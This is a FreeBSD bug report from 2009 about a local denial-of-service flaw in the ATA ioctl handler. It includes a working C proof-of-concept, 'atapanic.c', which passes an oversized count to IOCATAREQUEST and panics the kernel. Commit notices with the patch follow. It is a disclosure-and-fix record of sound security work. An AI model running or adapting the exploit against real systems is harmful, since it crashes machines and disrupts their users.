From nobody@FreeBSD.org  Mon Jul 13 19:57:06 2009
Return-Path: <nobody@FreeBSD.org>
Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34])
	by hub.freebsd.org (Postfix) with ESMTP id EFDF91065672
	for <freebsd-gnats-submit@FreeBSD.org>; Mon, 13 Jul 2009 19:57:06 +0000 (UTC)
	(envelope-from nobody@FreeBSD.org)
Received: from www.freebsd.org (www.freebsd.org [IPv6:2001:4f8:fff6::21])
	by mx1.freebsd.org (Postfix) with ESMTP id DF3DB8FC0A
	for <freebsd-gnats-submit@FreeBSD.org>; Mon, 13 Jul 2009 19:57:06 +0000 (UTC)
	(envelope-from nobody@FreeBSD.org)
Received: from www.freebsd.org (localhost [127.0.0.1])
	by www.freebsd.org (8.14.3/8.14.3) with ESMTP id n6DJv6F1009344
	for <freebsd-gnats-submit@FreeBSD.org>; Mon, 13 Jul 2009 19:57:06 GMT
	(envelope-from nobody@www.freebsd.org)
Received: (from nobody@localhost)
	by www.freebsd.org (8.14.3/8.14.3/Submit) id n6DJv69r009343;
	Mon, 13 Jul 2009 19:57:06 GMT
	(envelope-from nobody)
Message-Id: <200907131957.n6DJv69r009343@www.freebsd.org>
Date: Mon, 13 Jul 2009 19:57:06 GMT
From: Vincenzo Barranco <barravince@FreeBSD.org>
To: freebsd-gnats-submit@FreeBSD.org
Subject: Ata device local denial of service exploit
X-Send-Pr-Version: www-3.1
X-GNATS-Notify:

>Number:         136726
>Category:       kern
>Synopsis:       [ata] ata device local denial of service exploit
>Confidential:   no
>Severity:       critical
>Priority:       medium
>Responsible:    freebsd-bugs
>State:          closed
>Quarter:        
>Keywords:       
>Date-Required:  
>Class:          sw-bug
>Submitter-Id:   current-users
>Arrival-Date:   Mon Jul 13 20:00:07 UTC 2009
>Closed-Date:    Thu Jul 30 13:20:07 UTC 2009
>Last-Modified:  Tue May  4 00:50:01 UTC 2010
>Originator:     Vincenzo Barranco
>Release:        6.0 8.0
>Organization:
>Environment:
>Description:
/* atapanic.c
 *
 * Vincenzo Barranco, 13 July 2009
 *
 * this panics the freebsd kernel by passing a large value to malloc(9) in one of
 * fbsd's ata ioctl's.  tested on freebsd 6.0 and 8.0.  you need read access to the
 * ata device in /dev to be able to open() the device.  chain with some race condition
 * bug?
 *
 * - shaun
 *
 */


#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <fcntl.h>

struct ata_ioc_requestz {
    union {
	struct {
	    u_int8_t            command;
	    u_int8_t            feature;
	    u_int64_t           lba;
	    u_int16_t           count;
	} ata;
	struct {
	    char                ccb[16];
	} atapi;
    } u;

    caddr_t             data;
    int                 count;
    int                 flags;

    int                 timeout;
    int                 error;
};


#define IOCATAREQUEST           _IOWR('a', 100, struct ata_ioc_requestz)

int main() {

struct ata_ioc_requestz evil;
int fd;

evil.count = 0xffffffff;
fd = open("/dev/acd0", O_RDONLY);  /* /dev/acd0 is one of my ata devices */

ioctl(fd, IOCATAREQUEST, &evil);

/* should never reach here if kernel panics */
return 0;    
}


>How-To-Repeat:
Run the program on the top
>Fix:


>Release-Note:
>Audit-Trail:

From: dfilter@FreeBSD.ORG (dfilter service)
To: bug-followup@FreeBSD.org
Cc:  
Subject: Re: kern/136726: commit references a PR
Date: Thu, 16 Jul 2009 19:48:53 +0000 (UTC)

 Author: mav
 Date: Thu Jul 16 19:48:39 2009
 New Revision: 195724
 URL: http://svn.freebsd.org/changeset/base/195724
 
 Log:
   Limit IOCATAREQUEST ioctl data size to controller's maximum I/O size.
   It fixes kernel panic when requested size is too large (0xffffffff),
   
   PR:             kern/136726
   Approved by:    re (kib)
   MFC after:      2 weeks
 
 Modified:
   head/sys/dev/ata/ata-all.c
 
 Modified: head/sys/dev/ata/ata-all.c
 ==============================================================================
 --- head/sys/dev/ata/ata-all.c	Thu Jul 16 17:31:23 2009	(r195723)
 +++ head/sys/dev/ata/ata-all.c	Thu Jul 16 19:48:39 2009	(r195724)
 @@ -472,6 +472,7 @@ int
  ata_device_ioctl(device_t dev, u_long cmd, caddr_t data)
  {
      struct ata_device *atadev = device_get_softc(dev);
 +    struct ata_channel *ch = device_get_softc(device_get_parent(dev));
      struct ata_ioc_request *ioc_request = (struct ata_ioc_request *)data;
      struct ata_params *params = (struct ata_params *)data;
      int *mode = (int *)data;
 @@ -481,6 +482,10 @@ ata_device_ioctl(device_t dev, u_long cm
  
      switch (cmd) {
      case IOCATAREQUEST:
 +	if (ioc_request->count >
 +	    (ch->dma.max_iosize ? ch->dma.max_iosize : DFLTPHYS)) {
 +		return (EFBIG);
 +	}
  	if (!(buf = malloc(ioc_request->count, M_ATA, M_NOWAIT))) {
  	    return ENOMEM;
  	}
 _______________________________________________
 svn-src-all@freebsd.org mailing list
 http://lists.freebsd.org/mailman/listinfo/svn-src-all
 To unsubscribe, send any mail to "svn-src-all-unsubscribe@freebsd.org"
 
State-Changed-From-To: open->closed 
State-Changed-By: mav 
State-Changed-When: Thu Jul 30 13:19:30 UTC 2009 
State-Changed-Why:  
Patch committed to 8-CURRENT and merged to 7-STABLE. 

http://www.freebsd.org/cgi/query-pr.cgi?pr=136726 

From: dfilter@FreeBSD.ORG (dfilter service)
To: bug-followup@FreeBSD.org
Cc:  
Subject: Re: kern/136726: commit references a PR
Date: Thu, 30 Jul 2009 13:19:28 +0000 (UTC)

 Author: mav
 Date: Thu Jul 30 13:19:12 2009
 New Revision: 195973
 URL: http://svn.freebsd.org/changeset/base/195973
 
 Log:
   MFC rev. 195724:
   
   Limit IOCATAREQUEST ioctl data size to controller's maximum I/O size.
   It fixes kernel panic when requested size is too large (0xffffffff).
   
   PR:		kern/136726
 
 Modified:
   stable/7/sys/   (props changed)
   stable/7/sys/contrib/pf/   (props changed)
   stable/7/sys/dev/ata/ata-all.c
 
 Modified: stable/7/sys/dev/ata/ata-all.c
 ==============================================================================
 --- stable/7/sys/dev/ata/ata-all.c	Thu Jul 30 12:41:19 2009	(r195972)
 +++ stable/7/sys/dev/ata/ata-all.c	Thu Jul 30 13:19:12 2009	(r195973)
 @@ -440,6 +440,7 @@ int
  ata_device_ioctl(device_t dev, u_long cmd, caddr_t data)
  {
      struct ata_device *atadev = device_get_softc(dev);
 +    struct ata_channel *ch = device_get_softc(device_get_parent(dev));
      struct ata_ioc_request *ioc_request = (struct ata_ioc_request *)data;
      struct ata_params *params = (struct ata_params *)data;
      int *mode = (int *)data;
 @@ -449,6 +450,10 @@ ata_device_ioctl(device_t dev, u_long cm
  
      switch (cmd) {
      case IOCATAREQUEST:
 +	if (ioc_request->count >
 +	    (ch->dma.max_iosize ? ch->dma.max_iosize : DFLTPHYS)) {
 +		return (EFBIG);
 +	}
  	if (!(buf = malloc(ioc_request->count, M_ATA, M_NOWAIT))) {
  	    return ENOMEM;
  	}
 _______________________________________________
 svn-src-all@freebsd.org mailing list
 http://lists.freebsd.org/mailman/listinfo/svn-src-all
 To unsubscribe, send any mail to "svn-src-all-unsubscribe@freebsd.org"
 

From: dfilter@FreeBSD.ORG (dfilter service)
To: bug-followup@FreeBSD.org
Cc:  
Subject: Re: kern/136726: commit references a PR
Date: Tue,  4 May 2010 00:42:12 +0000 (UTC)

 Author: delphij
 Date: Tue May  4 00:42:03 2010
 New Revision: 207591
 URL: http://svn.freebsd.org/changeset/base/207591
 
 Log:
   MFC r195724 (mav):
   
   Limit IOCATAREQUEST ioctl data size to controller's maximum I/O size.
   It fixes kernel panic when requested size is too large (0xffffffff),
   
   PR:	kern/136726
 
 Modified:
   stable/6/sys/dev/ata/ata-all.c
 Directory Properties:
   stable/6/sys/   (props changed)
   stable/6/sys/contrib/pf/   (props changed)
   stable/6/sys/dev/cxgb/   (props changed)
 
 Modified: stable/6/sys/dev/ata/ata-all.c
 ==============================================================================
 --- stable/6/sys/dev/ata/ata-all.c	Mon May  3 22:32:26 2010	(r207590)
 +++ stable/6/sys/dev/ata/ata-all.c	Tue May  4 00:42:03 2010	(r207591)
 @@ -438,6 +438,7 @@ int
  ata_device_ioctl(device_t dev, u_long cmd, caddr_t data)
  {
      struct ata_device *atadev = device_get_softc(dev);
 +    struct ata_channel *ch = device_get_softc(device_get_parent(dev));
      struct ata_ioc_request *ioc_request = (struct ata_ioc_request *)data;
      struct ata_params *params = (struct ata_params *)data;
      int *mode = (int *)data;
 @@ -447,6 +448,10 @@ ata_device_ioctl(device_t dev, u_long cm
  
      switch (cmd) {
      case IOCATAREQUEST:
 +	if (ioc_request->count >
 +	    (ch->dma.max_iosize ? ch->dma.max_iosize : DFLTPHYS)) {
 +		return (EFBIG);
 +	}
  	if (!(buf = malloc(ioc_request->count, M_ATA, M_NOWAIT))) {
  	    return ENOMEM;
  	}
 _______________________________________________
 svn-src-all@freebsd.org mailing list
 http://lists.freebsd.org/mailman/listinfo/svn-src-all
 To unsubscribe, send any mail to "svn-src-all-unsubscribe@freebsd.org"
 
>Unformatted:
